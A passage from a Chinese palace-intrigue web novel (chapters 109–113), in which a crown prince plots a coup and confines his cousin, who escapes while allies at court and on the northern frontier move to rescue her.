她飞快地理了理狼狈的裙摆和鬓角,苍白的脸上挤出一个笑来,语无伦次道:“我就是,方才想来找阿兄,门口没人守着,我便自己进来了……” 她飞快地想到了一个借口,抬手扶了扶鬓角的蝴蝶发钗,用着往日娇纵的口吻道:“结果发钗不小心掉到了草丛里,这是母亲给我新买的样式,可不能丢了,我便想着找找……刚找到,嫂嫂就来了。” 狄兰虽然还有些困惑,但也没有再追问,颔首道:“找到了就好。是我的疏忽,守卫被我喊去搬东西了,太子殿下应当在书房里,我带你过去。” 她说着便要去挽褚景涟的手,褚景涟飞快地避开,“不、不用了……” 褚景淇哪里敢现在去见太子阿兄,她这副模样,一照面就会被看出不对来了。若她没听错,阿兄连对父皇都敢下手,连清平那臭丫头都被他软禁了,自己送上门去,难道还能有什么好下场吗? 打死她也不去! 狄兰诧异地看了看她避开的手。 褚景涟忙道:“我刚想起来,母妃有事找我,再晚些她定要与我生气了。今日就先不去找阿兄了。” 她局促地交握双手,往大门方向蹭了两步,“嫂嫂,今日的事可以不告诉阿兄吗?我今日逃了嬷嬷的课,怕他骂我……” 说完,她有些忐忑。她只是听说太子妃嫂嫂与阿兄之间仅仅只是相敬如宾,并算不上太过亲密,猜测阿兄在做的事,太子妃应当也是不知情的,这才敢壮着胆子求她为自己保密。却又害怕事有万一,若是她赌错了…… 狄兰了然地点点头,昭宁公主逃嬷嬷的课也不是第一次了,她已经亲眼见着太子将她拎回承禧宫三次。“放心,我不会与殿下告状的。” “多谢嫂嫂,那我便走了!”褚景涟转过身,丝毫不顾及公主风仪,拔腿便跑。 榴月自狄兰身后纳闷地探出头,“奴婢怎么瞧着公主跟见鬼了似的?真不用与殿下说一声吗?” 狄兰摆摆手:“少给殿下找些麻烦吧。自陛下病后,殿下夙兴夜寐,眼瞧着瘦了一大圈。好不容易等到郡主殿下回来,替殿下守了一日,听说也累病了,谁也不让探视。殿下如今正烦心着呢。” “您说的是,奴婢定不在太子面前多话。” 承禧宫,柔妃正心不在焉地端着茶盏。 “母妃!” 一声带着哽咽的喊声伴着疾跑的脚步声跌跌撞撞闯了进来,惊得柔妃手一抖,茶水洒了满身。 身边的宫人忙上前将茶盏收走,抽出帕子擦拭柔妃身上的茶水。 “都下去。”柔妃挥退宫人,将扑过来的褚景涟揽入怀中,“怎么了这是?又在何处受委屈了?” 褚景涟眨着水汪汪的眼,看见殿内的宫人尽数退了出去,才一头窝进柔妃怀里,呜咽着道:“母妃,太子阿兄,阿兄他……” 轻柔拍在她背上的手略略一停顿,褚景涟并未注意到,一股脑将自己听到的话尽数讲给了最信任的母妃听,然后泫然道:“母妃,你说清平是不是因为知道了什么才被阿兄软禁起来了?我们去把她救出来吧,她坏主意最多了,肯定有法子救父皇的!” “不行。” “母妃?”褚景涟不可置信地眨眨眼,尚噙在眼睛里的两滴泪从眼下滑落,她看柔妃的神色似乎对她所说的一切并不意外,愕然问道:“母妃你,你什么都知道?” “今日去见太子的,是你大舅舅。”柔妃淡淡道。 褚景涟瞠目结舌,她张了张唇,猛然四下张望一番,再次确认殿内并无旁人,才压低了声音不敢置信地质问道:“你知道,你……是外祖父的意思是吗?你们要干什么呀?这是谋反,这是谋反呀!” 她急得跳脚,柔妃拉住她,摁在自己身旁坐下。 “本不想告诉你的,谁知你竟自己撞破了。你放心,此事你外祖父和太子已有成算,你只需在母妃身边好好待着,等一切尘埃落定……” “为什么呀?”褚景涟拂开柔妃的手,深呼吸压住哽咽,带着哭腔质问,“为什么呀外祖父都享了那么多尊荣了,他还想要什么?” “父皇,父皇虽然是偏宠了清平一些,但那是因为她没爹没娘,她就是比我可怜。可是,可是父皇也没有亏待我们呀……” “太子阿兄他、他都是太子了,他早晚会登基的,他……”她用气音吐出那两个字,“他谋反做什么呀?” 褚景涟一面哭,一面艰难地将话问出口,薄薄的眼皮瞬间红肿了起来。 “你不懂……”柔妃心疼地拿出手帕替她擦泪,眼泪却越擦越多,她叹了一口气。 “你说得对,作为一个父亲,尤其是皇家的父亲,他着实不亏欠你。他待你,比我父亲待我要用心得多。可他欠我的,欠我们罗家的……” 第110章 褚景涟呆呆地看着柔妃,隐隐有些害怕自己接下来要听到的事。 “你是不是觉得,你的母妃是后宫最受宠的妃子,陛下一定很爱我?”柔妃唇角挂上一抹讥诮的笑意,“陛下对这后宫的任何人,都没有一分真情……” “母妃……”褚景涟虽然害怕不解,但看见柔妃露出几分难过的神色,心下也跟着酸楚起来,凑上前握住了她冰凉的手。 柔妃心口一软,轻轻将褚景涟拉到身侧。这一次褚景涟没有拂开她的手,乖乖挨着她坐下,眼里水汽未散,静静地看着她,等待下文。 “我……”柔妃顿了顿,道,“先皇后是我的嫡长姐,她与陛下成婚后,一直未曾圆房。她心急之下,在茶水中下了药……” “可陛下却宁肯临幸当日的奉茶女官,也不肯碰阿姐……阿姐积郁成疾,虽享了皇后之荣,但不过数日便故去了。”柔妃淡色的眉峰轻轻蹙着,眼底悲凉,仿佛又望见了已故先皇后绝望倚窗的身影。 “是父亲非要将阿姐嫁给陛下,设计了他一道,他心中有怨,我知道。可阿姐也无辜……她夹在两个男人的权利之争中,身不由己,为此付出了生命,却没人记得她。” 褚景涟亦是头次听说这位未曾某名的姨母的故事,她抿了抿唇,犹豫片刻,还是问道:“那名女官……?” “那名女官,就是太子的生母。她后来被陛下封做宸妃,没几年得了疯病,也死了。” 窗下漏入的光照亮翻飞的尘埃,光线一点点暗了下去,灯烛次第亮起,摇曳生光。 两道人影投在苏绣百蝶屏风上,一坐一立,看似十分亲密。 褚景泽撩袍在床榻前坐下,从一旁的托盘上取下一碗米粥。他舀起一勺吹了吹,喂到封眠嘴边,“饿了吧?里面加了两滴槐花蜜,是你喜欢的味道。尝一尝?” 封眠偏头躲开,一双黑瞳牢牢盯着他,眼底燃烧着一簇小火苗。“为什么?舅舅待你不好吗?你已经是太子……” “太子又如何?”褚景泽将勺子搁回碗中,碰壁当啷一声响,“他在一日,我便一日得不到我最想要的。” “你到底……”封眠一字一顿问道,“还想要什么?” 他一双形状好看的眼睛望入封眠眼底,诧异地扬了扬眉,“我以为你应当猜得出。若父皇没有将你远嫁,或是允准你我余生相伴,或许我也不会走下今日这步棋。” 封眠看着眼前的人,身形样貌声音处处皆是熟悉的,但看起来却又是那般陌生。她咬了咬牙,颤声问道,“你疯了吗?” “或许吧。”他竟笑了一下,“不过我倒觉得,也许我是太过像父皇了。但我应当比他好些,你我只不过是表兄妹,他可是……” 他意味不明地哼笑了一声。 褚景泽话语中暗藏的含义令封眠的瞳仁颤了颤,她语气虚弱道:“你不要胡说,你……” “你觉得太后只是因为曾与安乐公主的母亲是死敌,才如此讨厌你们母女吗?是因为她发现,自己最宝贝最骄傲的儿子,竟对死敌的女儿念念不忘视若珍宝。”褚景泽截断了封眠的话头。 “你应当不知道。我出生时,险些便与母妃一起没了性命。是安乐姑姑一句话,不但救下了我们母子,更让我坐上了这太子之位,蒙父皇亲手养育。” 他俯身逼近了些,“她说,我像极了父皇年幼的时候。” “你瞧,父皇这爱屋及乌的毛病,比我们想的还要严重。”他轻嗤一声,指尖轻抚过封眠苍白的脸颊,“安乐姑姑不过赞了我一句,他便将我认下了。时不时便领着我给安乐姑姑看,讨她一个笑脸。” “可怜我那母妃,从一个小小的奉茶女官,成了这后宫的宸妃,起初不知有多高兴。她以为自己得了陛下青睐,竟有那样高高在上的人爱着卑微如尘埃的她,愿意为她拂了高门贵女的面子。” “她真心地爱上了父皇, 谁知父皇再未踏足她的宫门。宫人都道她失宠,暗地里头讨好罗家人,为难她。以她的出身,更无人为她撑腰。” 封眠记得宸妃,那是一个容颜衰败,有些疯癫的女子,多数时间都在廊下安静地烹茶。某一日炭火燃得旺,烧干了壶,险些引起火灾,舅舅还曾责备过疏忽的宫人,命他们不许慢待宸妃。 她艰难地开口:“或许,舅舅当时不知……” 生在宫里头的人如何不知拜高踩低的人性?更何况她隐约记得舅舅曾说,他幼时过得并不好,是母亲多番照顾,才护他平安长大。 褚景泽却道:“对,他当时不知,他只吩咐了宫人不许慢待,便将她当做了透明人,一眼未曾瞧过她。她痴心刚付,却成执念,偶然发现自己得到的一切,都是因为安乐公主,怎么能不恨?不疯?” “我因为安乐姑姑而受父皇青睐,她却一点也不高兴。她恨安乐姑姑,恨我,她甚至恨上了你。” 褚景泽回忆往事时,目中现出奇异的色泽,封眠指尖陷入锦被。 “你定然都不记得了,其实起初我真的以为杀了你,她会高兴。所以有好几次都想对你下杀手。可是你啊……”他抬起食指,亲昵地蹭了一下封眠的鼻尖,“你傻乎乎的,那么亲密地抱着我喊阿兄。” 还在母妃发疯时,冲进来护住了他。 那年封眠只有三岁,尚是不肯一个人睡觉的年纪,总百般赖着褚景泽。褚景泽想要趁夜里去看一看母妃,便只能先将她哄睡再出门。 那一夜小封眠居然学会了装睡,等着褚景泽走了,自己爬起来偷偷跟了一路,跟到宸妃所住的宫殿,正撞见她发狂的那一幕。 满宫的人都尖叫四散,褚景泽鲜少撞见她如此疯狂,一时忘了反应,想要上前制住她,又被宫人撞到了肩膀,推回原地。是小封眠像个小炮仗一样冲过来攥住了他的手指,使出全身的力气拽着他往外跑。 小短腿磕在门槛上就要摔个大马趴,还是褚景泽一把将小豆丁捞起来,抱在怀里跑了出去。 封眠确实不大记得那么小的时候发生的事了,她也从没意识到过褚景泽居然想过要杀了她。她印象里的褚景泽从来都是温和的,偶尔喜好逗一逗她,但无论他说什么,他都会尽力去满足。 不会这样,不会这样疯狂…… “我在父皇面前瞒下了此事,因为担心母亲会因险些伤了你我而受罚,你便也乖乖得守口如瓶。我想,有你在,我会很开心,便再没想过要杀了你。” 烛火噼啪作响,封眠失神地盯着摇曳的火光,好半晌才找回两人最初的重点,“可无论如何,你也不应……不应弑父谋反……” 他忽然擒住她下颌:“你敬他爱他,可知你父亲当年蒙冤之事,他心知肚明却选择袖手旁观?” 见封眠瞳孔皱缩,他继续道:“他从来就看你父亲不顺眼,安乐姑姑生产前,他是故意将你父亲支开。只是他没想到安乐姑姑一番生产如此凶险,竟丢了性命。” “你以为他最初不恨你吗?他发了月余的疯,迁怒大将军,却还是没忍心迁怒你。也是因为你与安乐姑姑生得像极了。”他蓦地笑了一声,“我敢说,你若是倒霉些生得像父亲,绝无今日的好日子。” 他笑着看封眠一张脸血色尽失,指腹在她面上揉了揉,“别怕,现下是阿兄主事了,阿兄会一直待你好的。” “我不好。”封眠身上虚软无力,想躲开他的手,却终是无力地倚在床头,“我从没怀疑过你……” “却也没全然信任。”褚景泽轻轻一笑,“否则怎会瞒我矿洞爆炸、百里浔舟重伤之事?” 封眠攥紧了放在锦被上的手,“你全都知道?” “我在北疆的眼线,比你们知道的还要多。” 封眠闭了闭眼,深深懊恼:“可笑我当初竟还求你给北疆送些官员……” “这你大可放心,新去北疆上任的几名官员都是吏部精挑细选的,我可没做什么手脚。他们确实是目前外派官员中最优秀的。他们会代你照看好北疆的,往后你也不必忧心挂念,只需好好的,安心地陪在我身边就好。” “我回不去,阿琢定会生疑……” “别在我面前那样叫他。”褚景泽面色一冷,“你觉得我会轻易放过他吗?” 封眠想起罗家与阿尔纳部的勾连,脸色愈发惨白:“你做了什么?你和罗家与阿尔纳部做了什么交易?让他们甘愿与你们合作这么多年?” “北疆十六城,我答应送给他们了。” “你疯了!”血液一瞬间逆流涌上头顶,封眠双目赤红,“有多少大雍百姓宁死不肯投敌,你竟将他们拱手相送?你让百姓如何能信任大雍的君主?!你让他们怎么办!” 她一番声嘶力竭几乎用尽了浑身的力气,胸膛急促地起伏着,险些跌下床榻。 “冷静些。”褚景泽将她一把扶了起来,“我只是将城防图和一些情报送到了他们手上。毕竟还有定北军守着呢,就看他们有没有那个本事吞下来了。” 他是打着两败俱伤的算盘。定北军被北夷牵制着,便分不出心力来关注盛京的异变。而罗家在朝多年,亲信故旧满朝,再加之太子身份确属正统,若无人勤王,他顺利登基再轻易不过。 至于北疆,要么定北军被灭,阿尔纳部等北夷部族占了北疆十六城,但与定北军一战,他们必然也已元气大伤,新帝再派兵出剿,便可立大功一件。要么定北军拼死守住了城,但必然牺牲惨烈,新帝只需略略动些手脚,定北军便可改头换面,为他所用。 至于定北王一家,死在战场上或是死在战后的暗害,于新帝而言,并无不同。【`xs.c`o`m 网】 110-115 第111章 “报——北夷主力全军压境……” “报——落鹰岭遇伏!粮道被劫,朱将军请速发援兵!” “报——阿尔纳部昨夜突袭拥雪关,关隘失守,守将张将军战死,阿尔纳部前锋已越过雁鸣涧!” 薄雪纷纷扬扬飘落,将狭窄的山谷营地覆上一片雪白。不断有甲胄染血的传令兵穿梭往来,马蹄踏碎雪面,碾成一片泥泞,凛冽的北风将他们的脸颊、手背吹出一道道冻伤,不惧寒风刺骨,嘶哑着声声报讯。 主帐内,燃烧的火盆供给着聊胜于无的暖意,百里浔舟眼覆玄色绸带,一身轻甲,肩头薄雪未融,指尖在沙盘之上摸索而过,正正点到雁鸣涧的位置。 “传令三军,一炷香后开拔,目标雁鸣涧。” 门边的小将当即领命,掀帘钻入呼啸的风中。 姚知远紧挨着火盆而坐,穿着厚重的绒氅,遥点沙盘上北夷方向,“北夷三十六部此次有半数出兵,且对我军中城防一清二楚,有备而来,野心颇盛。但尚有半数态度未明,皆是曾参与过互市的部族。” “属下以为,应立刻派遣使者去联络这半数部族,即便不能请动援手,也要设法让他们保持中立,否则……” 外头突然爆发一声怒喝:“止步!再向前者格杀勿论!” 百里浔舟抬手触了一下身前案几边缘的位置,起身绕过案几,起身疾行至帐门,一把掀开厚重的棉帘:“何事喧哗?” “妹夫!是我啊妹夫!”褚景 淇的声音穿透风雪,响亮地传到百里浔舟的耳中:“快放我们进去!” “小侯爷?”姚知远不肯离开火盆,自缝隙中狗狗祟祟地探头,“秦王殿下不是将他拎回府上,准备回京了吗?怎么跑来这里了?” 守卫长枪横挡,声音冷硬:“小侯爷可以进,但是这个北夷人不行!” “嘿你们几个死脑筋的,”褚景淇气得跳脚,“弥荼是来帮我们的,你们这样拦着她可就太让未来的盟友寒心了啊!” “北夷人如何信得?”两名守卫声音含恨,他们身上的战袍皆染着染血,眼中尽是悲愤,“谁知他们会不会在背后捅我们一刀!” “哎呀,她不一样!啧,跟你们说不明白!”褚景淇原地跳着冲百里浔舟招手,“妹夫,妹夫你快帮我们说句话!” “让他们进来。”百里浔舟沉声。 “世子殿下!”守卫们都有些不甘。 “大敌当前,我们需要盟友,而不是对手。”百里浔舟冷静道,“放行。” 横挡在身前的长枪不情不愿地退开,褚景淇一脸“早该如此”的神情,路过时抬手拍了拍守卫的肩,恳切道:“小兄弟莫恼,本侯以项上人头发誓,弥荼圣女真是来帮忙的!” 守卫被他拍得一愣,闷闷地撇过头去。 兜帽遮身的弥荼多看褚景淇两眼,“你就这般信我?” 褚景淇理所当然地点头:“我看中的人,岂会骗我!” “……”弥荼忍了忍,还是没有重提自己骗他然后烧了粮草的旧事。 一进营帐,褚景淇便冲到了火盆旁和姚知远挤到一处,“冻冻冻死我了!小百里,你们在这种天气行军打仗,真能捱得住吗?” “北疆就是如此,将士们习惯了,便能熬得住了。”百里浔舟回到主位坐下。 姚知远插嘴:“今年有郡主殿下倒腾来的白叠子和即食汤饼,将士们的待遇比往年可是好太多了。” 冬日大雪冰封的时候,挨着火盆来一碗热腾腾的即食汤饼,从内到外都暖透了。姚知远提起便要掉口水。 他说罢,忽又想起郡主走后一直未有消息传来,赶忙看了一眼百里浔舟,果然见他神色沉郁下来。 “我小表妹……” 眼瞅着褚景淇开口又提起郡主殿下,姚知远忙将话题扯开:“小侯爷方才在外头说,弥荼圣女是来帮我们的,可是真的?” “自然。”弥荼开口,“多亏郡主仁善,我等部族换到了足够的物资,方有机会撑过这个冬日。我们不愿与大雍为敌,所以并未响应阿尔纳部的号召。” 她弯腰行了一个苍狼部的大礼,“我等愿竭尽全力,为大雍拖住其他部族的后备军,只求战后与大雍缔结契约,永世和平共处,广开互市,并允许我等交易粮食。” “愿圣女守诺。” 此话便是同意弥荼所言,她心头一轻,露出一个笑。 褚景淇见状亦是喜上眉梢,“我就说吧,小百里也定会信你的!” 百里浔舟:“小侯爷此时应快要入京才对,怎么跟弥荼圣女一起来了此地?” 褚景淇如梦惊醒,急忙道:“是小表妹,她似乎出事了!” 百里浔舟目光一凛。 姚知远惊得跌倒:“有郡主殿下的消息,小侯爷怎不早说!” “我想说来着,不是被你打岔了吗?”褚景淇委屈。 “都闭嘴。”百里浔舟揉揉额头,“眠眠怎么了?” 屋里香雾袅袅,四下陈设皆是柔软、没有棱角之物。戴着面巾的宫人收走装着食物的托盘,小心翼翼退出门去。 封眠厌恶地瞧一眼墙角的香炉,里面燃着软筋香,让她时刻四肢无力,连下床都十分艰难。 藏在锦被下的手悄然动了动,拿出方才用饭时悄悄藏下的一柄瓷勺。 她费力地抬起手,将勺柄磕在床柱之上,因力气太小,未能磕破。她咬了咬唇,唇上渗出血色,刺痛让她积蓄了些许力气,再次磕碰勺柄。如此往复三次,才终于将瓷勺磕碎。 细碎的一声响,并未引起任何人的注意。 碎裂的瓷片狠狠划过掌心,尖锐的疼痛刺破混沌,封眠屏住呼吸抵抗着药力。 鲜血顺着指缝滴落在素白寝衣上,晕开点点刺目的红。 她用力一翻身,跌下了床,磕在铺了地毯的一片柔软中,挣扎着爬向窗边。素雅的地毯上留下狼藉的一片血印。 这几日她乖顺不言,靠听着屋外的动静,推算出了换防的时间。运气好的话,她有一炷香的时间,可以错开寻访的守卫。 她攀着窗沿半跪而起,用尽全身力气推开窗棂。寒风扑面而来,她大口呼吸着冰凉的新鲜空气,趁着头脑清醒的瞬间,双手撑在床沿,用力地翻出窗外。 “砰”的一声闷响,她重重摔在地上。 身下冰凉冷硬的地面砸得后背生疼。她恍惚想起自己上一次翻窗时,稳稳托住她的那双手。 她咬咬牙,眨去眼睛里的泪花,攥着手里的碎瓷片,又在大腿处扎了一道,以疼痛来维持着清醒,踉跄着起身,跌跌撞撞地抛了出去。 穿过枯枝掩映的小径时,远处忽然传来脚步声。封眠慌忙滚进枯草丛中,屏息凝神。 守卫牵着一只细走来,细犬拐向封眠所在的方向,鼻尖轻耸四处嗅闻。 细犬尖尖的耳朵有些眼熟,封眠想起来,它是往日里常在暑月殿巡逻的那只。 那细犬与她四目相对片刻,呜咽着摇了摇尾巴,竟扭过头拽着守卫的裤脚离开。 封眠眼底一热,这只馋嘴的小家伙平日鼻子最灵,隔着百米就能嗅到她怀里揣着的肉骨头,尾巴摇出残影,等着她走近投喂。它方才定是闻到她的味道,认出她来了吧。 力气稍稍恢复后,她蹒跚行至墙角。 以她现在的身体状况,翻墙实在是有些难了。但封眠记得后院有一处狗洞,宫内一些野猫常会钻狗洞来暑月殿讨食。除了暑月殿的宫人,几乎没人知道。 她怀着一丝微弱的希望扳开石块,看见了熟悉的狗洞。 她俯身钻过狭窄的洞口,碎石硌得手臂生疼。 “你……” 封眠浑身一颤,扭头看去。褚景涟抱着裙角蹲在墙角,呆呆地看着她。 “你怎么把自己弄成这幅样子……”她满眼震惊,封眠满身泥土枯叶,仅穿着一身血迹斑斑的寝衣,看着着实吓人。 “你也……没好到哪里去……”封眠费力地钻出来,力竭地一屁股坐在地上,脱力倚在墙壁上,牵动到身上的伤口,疼得龇牙咧嘴。 褚景涟脸上蹭着灰,斗篷上划痕明显,亦沾满了草屑。 封眠:“偷跑出来的?” “你管我?关心关心你自己吧。”褚景涟别扭地撇嘴,看着她身上到处都是凌乱的血迹,又嫌弃又害怕地蹙起眉,想上手扶她,又不知要从何下手,两只手在空气中忙乱地比划两下。 “你还走得动吗?我趁母妃午睡翻墙出来的,得赶在她醒来之前回去才行。”褚景涟比划了半天,终于下定决心要揽住封眠的肩膀将人扶起来,却被她握住了手腕。 “你准备从哪里带我离开?有人接应吗?” “… …”褚景涟一呆,摇摇头,底气不足地问:“先、反正先离开这里再说?” 封眠叹气:“凭你我两人,跑不出多远的。” 褚景涟觉得自己被看扁了,不大高兴:“那你跑出来干什么?” “搬救兵。” …… “人呢?!” 内侍望着满室狼藉蜿蜒的血迹,两眼一黑险些晕过去。他偷眼觑着褚景泽漆黑的脸色,厉声斥问轮班的守卫。 褚景泽眸中戾气翻涌,“她走不远,沿着血迹带人去搜。” “她若出什么事,你们的脑袋都别要了。” 噤若寒蝉的守卫们登时四散去搜寻。 “血迹最后出现在此处。”守卫停在御花园的假山旁。 褚景泽拨开掩映洞口的枯藤,看见封眠蜷缩在石缝间,气息奄奄,面如金纸。 “小满!” 褚景泽又气又急地钻入假山,将她揽进怀里,只觉揽了一块寒冰入怀。 “去唤太医!” 第112章 “阿琢……” 封眠深陷柔软的锦被之中,烧得脸颊通红,双唇淡无血色,眼皮下的眼珠不安地颤动着,迷迷糊糊地呢喃着百里浔舟的名字。 燃烧着的炭盆爆开一星火花,百里浔舟骤然抬首,覆眼绸带无风自动。指尖按揉着突突跳动的太阳穴,百里浔舟无声地叹了口气。 是他糊涂了,恍惚中竟好似听见了眠眠的声音。 帐外忽然传来杂沓脚步声,顾春温裹着满身雪粒掀帘而入,眉睫凝霜,匆匆道:“罗家埋在云中郡的钉子已尽数悄悄拔除。我知道罗氏想要推举的新帝是谁了。” 朴素的木制矮几上,两杯满斟的热茶泛起热雾。 顾春温一手拢着热茶暖手,眉梢发髻上的落的雪已然融化,只留下一缕湿痕。 “世子殿下,是何打算?”他嗓音略带几分嘶哑。一路策马疾驰而来,不知喝了多少凉风,嗓子又冰又疼,好在眼下还有一杯热茶在手,啜饮两口略微暖了暖喉。 置于桌下的手紧攥成拳,百里浔舟反复深呼吸数次,借着指甲嵌入掌心的一点微弱痛意,才算勉强将心神拉回理智的边缘。 他竭力冷静地叙述,“小侯爷带来了轻衣的消息,接郡主入宫的公公有问题。若你所言是真,恐怕郡主也有危险。” 封眠才出云中郡没几日,罗驰尔便秘密地离开了云中郡。但他并未返京,而是带人沿着通往的京畿的各条道路设伏。轻衣担心自己寻到百里浔舟之后,便再难离开,到时封眠独自入宫无人相护,恐怕更加危险,便想办法将消息带给了褚景淇。 秦王知道京中生变,选择做起缩头乌龟,称病不打算回京,也将家眷都拘在府上,不许外出。褚景淇便干脆砸了王府的角门,带着墨松并两名侍卫逃了出来,在去找百里浔舟的路上恰好碰上了弥荼。 “……”饶是情况紧急,顾春温也没忍住叹了一句,“轻衣胆子真大。” 竟敢把这么重要的事交给褚景淇。不过小侯爷在正事面前,倒是意外地靠谱,让他都有些刮目相看了。 百里浔舟指尖轻敲着桌案,“现在有苍狼等部帮忙牵制阿尔纳部,定北军可以分出兵力……” 顾春温一听话音便知道他是什么意思,语气急促道:“殿下若此刻带兵入京,纵使清君侧是真,但在不明真相的天下人眼里也是谋逆。若盛京那位抢先下手,反污你们谋反,到时……” 他的语气随着猜测一并沉了下去,只恨盛京遥迢,手中又无确凿罪证,拿什么让定北军师出有名? “他们与北夷勾结,想要的,本来就是我与父亲,以及千千万万定北将士的性命。还有何可顾忌的?”百里浔舟已然定了主意,周身气势一凛,沉声道,“只是你说得对,此番需得秘密行军,不能打草惊蛇。要让他们以为我与父皇都被北夷绊住了手脚,分身乏术,他们才能松懈……” 更何况,眠眠也在京中。陛下对她那般重要,她此刻定也在殊死周旋。他只怕自己去得晚些,她会出什么意外…… 炭火燃着猩红的火光,灰白的余烬在盆底积成连绵一片。 太医满头大汗地给封眠手上施针,耳边听她唤一声“阿琢”,肩膀便抖一下。幸好行医多年经验老道,手半点也不抖,针扎得稳稳的。 他抬袖擦擦下巴颏上马上要滴落的汗,真恨自己不能扎哑穴。郡主殿下您可别再喊了,太子殿下瞧着真要杀人了! 太医身后,褚景泽冷冷看着烧得迷糊的封眠,垂落的袖摆下一双手克制地颤抖着,修长指节如玉一般,仿佛一用力便会碎掉。 内侍静悄悄走到他身侧,恭敬行礼:“殿下,太子妃求见。” “请她进来。” 像是终于寻到了离去的借口,褚景泽甩袖转身,一言未发地离开。 太医松了口气,又抹了两把汗,继续勤勤恳恳地扎针。 迈过用作遮掩的层叠书架,步入卧房,恰好下人将狄兰引入房内。 褚景泽又恢复了惯常的温润模样,轻柔扶起向他行礼的太子妃,“你怎么来了?” 狄兰亦是一如往常,恭敬有余,温情不足地与褚景泽闲话,“殿下这两日不是忙于政务,就是忙着看顾父皇,身子骨怎么吃得消?臣妾命人做了四君子汤,殿下喝一点吧。” 她招招手,自榴月递上来的食盒中取出一盏尚冒着热气的汤盏,上前搁到了桌上。借着这动作,她目光飞快地在屋内转了一圈。 “你有心了。”褚景泽踱到桌前,十分给面子的舀了一口汤喝下,看似不经意道:“难怪小满对你这个嫂嫂十分亲近。” 狄兰抿唇笑笑,神色并无异样,“说起来,不知郡主的病如何了?臣妾可否去探望一番?” 褚景泽探究的目光在她身上转了一圈,淡淡道:“今日吹了风,又烧了起来。还是晚些吧,免得过了病气与你。” “听殿下的。”狄兰好似真的只是随口一问,并未一再坚持要去探望封眠,只是担忧地蹙眉,“可怜郡主如此体弱,病这么多日,胃口怕是都败尽了。待她痊愈了,殿下定要知会我一声,好给她做些好克化的吃食再去看她。” 见褚景泽应了,狄兰也并未多待便带着榴月告辞。 “跟上去看看。”褚景泽头也未抬,吩咐手边内侍。 内侍领命悄悄跟了出去,见太子妃出了书房,与榴月说说笑笑地捡了些枯枝叶子,一路行到太子妃的寝殿,言行神态皆与平日无异,便转身回去复明。 雕花隔窗轻轻动了动,榴月收回向外看的视线,“殿下,人走了。” 屋内仅有狄兰和榴月两人,狄兰的脸色此刻才有了变化,她撑着桌子坐下,笃定道:“人定然被他藏在书房内。” 榴月终于忍不住开口,“殿下,咱们何苦在这时候与太子殿下为难?郡主毕竟是太子殿下疼了许多年的妹妹,总不会有什么危险的,您得先保全了自己才是!” “昭宁公主也是往日里就她与清平郡主闹得最凶,如今倒巴巴地来传话,请咱们救人。她怎么不自己去?”榴月颇为打抱不平。 “好了,昭宁那丫头能救得了谁?”狄兰摇摇头,“她能想法子将消息递给我,都是清平妹妹给她出好了主意,你可快别为难她了。” “那她难道就不是在为难殿下吗?”榴月犹自嘀咕着,谁的殿下谁心疼,她反正是看不得自家太子妃为旁人的事呕心沥血冒大风险的。 太子殿下都做下那么多大逆不道的事了,竟还胆大包天地对清平郡主怀着那样的心思,若是被他发现太子妃要将清平郡主带走,难道还能饶过太子妃吗? 额头蓦地被拍了一下,狄兰一脸无奈地瞧她,语气带上了几分严肃,“她便是不求到我面前,我若是知道了太子殿下做的事,难道就会袖手旁观吗?这不是家宅小事,太子殿下谋篡朝纲,私囚郡主,皆有悖纲常。为了这天下的百姓,我也得做些什么。” 榴月知道太子妃的脾气,她认定的事,除了家中的老夫人,谁的劝都是不听的。故而她也只是发发牢骚,并没幻想过太子妃听了她的抱怨便能改变主意,当下也只能叹着气点了点头,“奴婢知道,殿下侠义心肠,只是您能做些什么呢?” 她问罢又急急补充了一句:“不管殿下要去干什么,可都不许抛下奴婢!” “放心,你我可是儿时一同读小人书,一起说要行侠仗义的,如今这般大的事,我岂会丢下你!你可是我在这东宫,最信任的人了。”狄兰豪爽地拍了拍榴月的肩。 榴月别别扭扭地露出一个笑来,“那接下来我们要做什么?把郡主救出来,能送到哪里去呢?如今陛下昏迷不醒,再过几日,怕是就有朝臣要上书请太子登基了。太子手上掌着禁卫,又有多年在朝中经营的人脉,咱们……” 她说着说着,脸上的一点点笑意也跟着消失不见了,“咱们就算是把此事告诉老爷,老爷也根本帮不上什么忙啊……” 千头万绪,略略一捋,便觉天昏地暗,处处是难题。 “不能让他这么快登基。陛下连日昏迷不醒,定然是太医奉命做了手脚。太子应当还没有狠心到要直接毒杀陛下,只要查出太医院的问题,想办法让陛下苏醒,就有人治他了。”狄兰细细思索着,“不过在此之前,得给他使些绊子,让他分心。” “殿下的意思是?” “太后还不知道她的乖乖孙儿做 1 下的这些事吧?只要……” 笃笃,窗棂忽然被叩响两声。 狄兰倏地转身将榴月护在身后,两人如同炸了毛的猫儿一般瞪向窗的方向。 狄兰:“什么人?” 窗外传来一道低低的声音:“太子妃殿下,属下是定北王世子手下近侍,奉命保护郡主。” 狄兰河榴月对视一眼,初时的惊恐散去,但仍有些警惕,“可有信物?” 门外静默半晌,一个铜制的物件被噗通一声丢了进来。 狄兰定睛一看,错愕地睁大眼眸,“你你你快进来把东西捡起来!” 窗棂被掀开,一道身影灵巧得仿若游鱼一般就滑了进来,轻盈落地的瞬间便顺手将东西捡起来重新放回怀中,一派泰然自若地行礼,“属下轻衣,见过太子殿下。” 狄兰见他身手,顿时惊喜挑眉,多一个这样的帮手,可是省大事了。 第113章 一声瓷盏碎裂声清晰地在寿华宫内回响,碎瓷片散落在一双墨绣麒麟纹皮靴前。那双脚稳稳地立在原处,一动未动。 满头珠翠的太后踉跄跌,一手紧紧扣住紫檀扶手。珠翠累累的博鬓下,面颊上的脂粉也掩不住惨白的脸色。她望着阶下长身玉立的褚景泽,声音嘶哑颤抖:“哀家这是造了什么孽?!” 那双保养得宜的手剧烈颤抖着,触到身下坐垫柔滑的布料,仿佛又回到了数十年前的冬日,她亲手将尚在襁褓的儿子送到云妃宫中,转身时还听见婴儿撕心裂肺的啼哭声。 当时她狠下心来,一次也未回头。她不过是个宫女出身的贵人,在吃人的后宫里头,自保尚且艰难,更何谈护住一名皇子? 她把他送走,对他们两个人都好。他不会因母妃的出身而受非议,不会跟着她吃苦。而她因为被剥夺了抚养亲子的权利,也能获得先帝的怜惜,和云妃的照拂。 即便后来她眼见那孩子因云妃有了亲生的孩子而失宠,眼见他被旁的皇子欺负,她咬碎了牙也没走到他身边。她不想因为自己的亲近,打破她与云妃之间微妙的平衡。 后来他登基,她坐上了太后之位,心底尚有些许庆幸,若是当初没有将他送走,或许今日他也登不上这至高之位。可陛下总是压着疏离的眉眼,一年也不来看她几次。 明明是亲生母子,却形同陌路。 